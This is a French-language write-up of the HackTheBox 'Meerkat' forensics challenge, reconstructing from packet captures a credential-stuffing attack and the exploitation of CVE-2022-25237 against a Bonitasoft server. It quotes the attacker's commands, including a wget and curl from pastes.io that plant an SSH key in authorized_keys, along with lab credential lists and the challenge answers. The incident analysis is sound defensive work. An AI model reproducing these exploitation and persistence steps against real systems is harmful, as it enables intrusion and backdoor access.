HACKTHEBOX - MEERKAT
Contexte
As a fast growing startup, Forela have been utilising a business management platform. Unfortunately our documentation is scarce and our administrators aren't the most security aware. As our new security provider we'd like you to take a look at some PCAP and log data we have exported to confirm if we have (or have not) been compromised.
T1 - Nom de l'application
En regardant les trames wireshark, on constate pas mal de requêtes http :
Un certain nombre de ces requêtes vont vers un url : /bonita/loginservice
En regardant de plus près sur internet, nous trouvons le software bonitasoft
T1 : We believe our Business Management Platform server has been compromised. Please can you confirm the name of the application running? :
=Bonitasoft
T2 - Technique employée par l'attaquant
On remarque que les tentatives de l'attaquant sont des mots de passes complexes :
C'est donc un "credential stuffing", car l'attaquant utilise des mots de passe déja connus.
T2 : We believe the attacker may have used a subset of the brute forcing attack category - what is the name of the attack carried out? :
Credential Stuffing
T3 et T4 : CVE exploitée par l'attaquant
Nous notons que l'attaquant arrive à se logger a partir du paquet 2900 :
Ensuite, il utilise un nom d'api assez bizarre. En effet ce dernier est /bonita/API/pageUpload;i18ntranslation?action=add
Les champs i18translation
sont en général pour les contenus traduit.
On remarque que cela correspond a une CVE (CVE-2022-25237) : https://nvd.nist.gov/vuln/detail/CVE-2022-25237
T3 : Does the vulnerability exploited have a CVE assigned - and if so, which one? :
CVE-2022-25237
T4 : Which string was appended to the API URL path to bypass the authorization filter by the attacker's exploit? :
i18ntranslation
T5 et T6 : Comptes compromis par l'attaquant + tentatives
Nous devons alors trouver le nombre de combinaisons utilisateur:mdp que l'attaquant a utilisé. Pour cela, nous utiliserons tshark
, un utilitaire permettant de traiter des .pcap en cli. Ce tool est préinstallé sur kali et parrot OS.
tshark -r meerkat.pcap -Y "http.request.method == POST" -T fields -e http.file_data | grep "username=" | sort | uniq -c
Le résultat est le suivant :
1 username=Adora.Mersh%40forela.co.uk&password=85Hh8JZkJR6&_l=en
1 username=Adrea.Shervil%40forela.co.uk&password=7YoFhtUq&_l=en
1 username=Ahmed.Monteaux%40forela.co.uk&password=6uskrtw8U&_l=en
1 username=Alexi.Siman%40forela.co.uk&password=iUS11pX&_l=en
1 username=Aline.Rivallant%40forela.co.uk&password=gFixyf1nGgf&_l=en
1 username=Antoinette.Vittel%40forela.co.uk&password=bGtHL8cg&_l=en
1 username=Bernelle.Draycott%40forela.co.uk&password=MmxlUAWe0oW&_l=en
1 username=Berny.Ferrarin%40forela.co.uk&password=lPCO6Z&_l=en
1 username=Cariotta.Whife%40forela.co.uk&password=x3hoU0&_l=en
1 username=Clerc.Killich%40forela.co.uk&password=vYdwoVhGIwJ&_l=en
1 username=Cordelie.Rostron%40forela.co.uk&password=mAtdcJh&_l=en
1 username=Cyndy.Element%40forela.co.uk&password=ybWxct&_l=en
1 username=Cynthia.Hatto%40forela.co.uk&password=z0NXI6&_l=en
1 username=Denny.Gepson%40forela.co.uk&password=q2JqCSXk69&_l=en
1 username=Drusilla.Nice%40forela.co.uk&password=l35Euh0T3Am&_l=en
1 username=Ebony.Oleszcuk%40forela.co.uk&password=uAWnyfKOjQM&_l=en
1 username=Elka.Cavet%40forela.co.uk&password=n1aSdc&_l=en
1 username=Ellerey.Bierling%40forela.co.uk&password=Nva0nKTz&_l=en
1 username=Farleigh.Schouthede%40forela.co.uk&password=JzI6Dvhy&_l=en
1 username=Fredrick.Gerraty%40forela.co.uk&password=W1By0HUByDHO&_l=en
1 username=Garrard.Colisbe%40forela.co.uk&password=jMi9iP&_l=en
1 username=Gerri.Cordy%40forela.co.uk&password=w15pvWGTK&_l=en
1 username=Gianina.Tampling%40forela.co.uk&password=maUIffqQl&_l=en
1 username=Griffith.Lumm%40forela.co.uk&password=QPepd0M8wBK&_l=en
1 username=Guss.Botten%40forela.co.uk&password=sVMRgGmv0sE&_l=en
1 username=Gypsy.Henric%40forela.co.uk&password=lLPqVgmHs5F&_l=en
1 username=Imelda.Braben%40forela.co.uk&password=dC7bjGLYB&_l=en
59 username=install&password=install&_l=en
1 username=Jenilee.Pressman%40forela.co.uk&password=3eYwLOKhQEcl&_l=en
1 username=Jordain.Eykel%40forela.co.uk&password=rnMXBNdNW0&_l=en
1 username=Kayley.Northway%40forela.co.uk&password=s9MC7mkdVU&_l=en
1 username=Konstance.Domaschke%40forela.co.uk&password=6XLZjvD&_l=en
1 username=Lauren.Pirozzi%40forela.co.uk&password=wsp0Uy&_l=en
1 username=Marven.Samuel%40forela.co.uk&password=LPU0qQnt108&_l=en
1 username=Mathian.Skidmore%40forela.co.uk&password=TQSNp6XrK&_l=en
1 username=Mella.Amsberger%40forela.co.uk&password=4nIYM5WqN&_l=en
1 username=Merl.Lavalde%40forela.co.uk&password=BgfiOVXNLBc&_l=en
1 username=Merna.Rammell%40forela.co.uk&password=u7pWoF36fn&_l=en
1 username=Nefen.Heffernon%40forela.co.uk&password=VR0ZA8&_l=en
1 username=Noam.Harvett%40forela.co.uk&password=VDt8bh&_l=en
1 username=Nola.Crichmer%40forela.co.uk&password=QGa58W3L&_l=en
1 username=Norbie.Bartolini%40forela.co.uk&password=GV2zlop&_l=en
1 username=Osborne.Humpatch%40forela.co.uk&password=OJ4WHcI4D&_l=en
1 username=Pat.Kloisner%40forela.co.uk&password=N8ZwVMzF6&_l=en
1 username=Pete.Panons%40forela.co.uk&password=BKdkGTB&_l=en
1 username=Puff.Yapp%40forela.co.uk&password=M08Aae&_l=en
1 username=Rakel.Cawley%40forela.co.uk&password=h4gW3YLwnW9t&_l=en
1 username=Samaria.Percifull%40forela.co.uk&password=CUgc3hzHw5g&_l=en
4 username=seb.broom%40forela.co.uk&password=g0vernm3nt&_l=en
1 username=Sharon.Claus%40forela.co.uk&password=3X4d06I&_l=en
1 username=Skipton.Pickerill%40forela.co.uk&password=lcsui1Nu&_l=en
1 username=Stanleigh.Tuckwell%40forela.co.uk&password=VQCk8TGn3&_l=en
1 username=Talya.Sterman%40forela.co.uk&password=3gCERZ2JMh&_l=en
1 username=Teresita.Benford%40forela.co.uk&password=uvYjtQzX&_l=en
1 username=Tobiah.Horstead%40forela.co.uk&password=fp0OQl&_l=en
1 username=Vida.Murty%40forela.co.uk&password=4ulecG&_l=en
1 username=Winston.Conville%40forela.co.uk&password=cEmh5W2Vh&_l=en
Il ne nous suffit plus qu'a compter les lignes, avec wc
:
tshark -r meerkat.pcap -Y "http.request.method == POST" -T fields -e http.file_data | grep "username=" | sort | uniq -c | wc -l
57
La réponse est 56, car la combinaison
install:install
n'est pas une combinaison d'username:password
T5 : How many combinations of usernames and passwords were used in the credential stuffing attack? :
56
Cette fois ci, il est plus simple de regarder le wireshark :
Il faut regarder la combinaison utilisée dans le paquet 2970. Ce dernier à reçu une réponse 200 OK
ce qui signifie que la combinaison utilisée est la bonne !
A noter également que cette combinaison a été utilisée 4 fois (cf tshark)
T6 : Which username and password combination was successful? :
[email protected]:g0vernm3nt
T7 : Analyse de l'attaque
Nous retraçons l'attaque :
Paquet 3573 : L'attaquant upload un fichier zip
Ce dernier, nommé
rce_api_extension.zip
est un projet maven/java permettant de faire sa rce
Paquet 3580 : l'attaquant execute son payload RCE (sur la page
/bonita/API/portal/page;i18ntranslation
). Ce dernier "active" son extension, ce qui lui permet d'intéragir avec cette dernière et de passer des commandes
Paquet 3586 : L'attaquant fait passer la commande
passwd
depuis l'url /bonita/API/extension/rce?p=0&c=1&cmd=cat%20/etc/passwd
Paquet 3588 : Retour de la commande via un objet JSON
Output :
/out:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:114::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
landscape:x:111:116::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
ec2-instance-connect:x:113:65534::/nonexistent:/usr/sbin/nologin
_chrony:x:114:121:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
Paquet 3591 : L'attaquant se fait déconnecter, et sa rce se fait supprimer.
Paquet 3593, 3610, 3615, 3618, 3621 : L'attaquant se réauthentifie
Paquet 3639, 3642, 3646, 3649 : L'attaquant réupload sa charge utile
Paquet 3652 : L'attaquant execute la commande
wget https://pastes.io/raw/bx5gcr0et8
Le contenu de ce dernier est le suivant :
#!/bin/bash
curl https://pastes.io/raw/hffgra4unv >> /home/ubuntu/.ssh/authorized_keys
sudo service ssh restart
T7 : If any, which text sharing site did the attacker utilise? :
pastes.io
T8, T9, T10 et T11 : Persistence
T8 : Please provide the file hash of the script used by the attacker to gain persistent access to our host. :
0dc54416c346584539aa985e9d69a98e
Ce script charge les clés publiques contenues dans https://pastes.io/raw/hffgra4unv
puis redémarre le service ssh. Cela permet a l'attaquant d'avoir une persistence dans la machine
La clé publique est la suivante :
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgruRMq3DMroGXrcPeeuEqQq3iS/sAL3gryt+nUqbBA/M+KG4ElCvJS4gP2os1b8FMk3ZwvrVTdpEKW6wdGqPl2wxznBjOBstx6OF2yp9RIOb3c/ezgs9zvnaO07YC8Sm4nkkXHgkabqcM7rHEY4Lay0LWF9UbxueSAHIJgQ2ADbKSnlg0gMnJTNRwKbqesk0ZcG3b6icj6nkKykezBLvWc7z4mkSm28ZVTa15W3HUWSEWRbGgJ6eMBdi7WnWXZ92SYDq0XUBV2Sx2gjoDGHwcd6I0q9BU52wWYo3L3LaPEoTcLuA+hnn82086oUzJfmEUtWGlPAXfJBN7vRIMSvsN
Cela permet a l'attaquant d'avoir une backdoor permanente, sans avoir a "rééexploiter" la CVE-2022-25237, et sans générer des logs supplémentaires.
Par ailleurs, cela lui offre de nombreuses possibilités, telles que du ssh tunneling, du transfert de fichiers, etc...
T9 : Please provide the file hash of the public key used by the attacker to gain persistence on our host. :
dbb906628855a433d70025b6692c05e7
T10 : Can you confirmed the file modified by the attacker to gain persistence? :
/home/ubuntu/.ssh/authorized_keys
(cf script n°1)
Paquet 3784 : Retour de la commande, ce qui confirme a l'attaquant que le script a bien été downloadé
Paquet 3786 : Déconnexion de l'attaquant, suppression de la rce
Paquet 3679 - 3745 : Re-Authentication de l'attaquant, re-upload de la charge utile
Paquet 3748 : Execution de la commande
bash bx5gcr0et8
pour exécuter le script permettant d'ajouter la clé publique SSH de l'attaquant
Paquet 3826 : L'attaquant se connecte via SSH
T11 : Can you confirm the MITRE technique ID of this type of persistence mechanism? :
T1098.004
(https://attack.mitre.org/techniques/T1098/004/)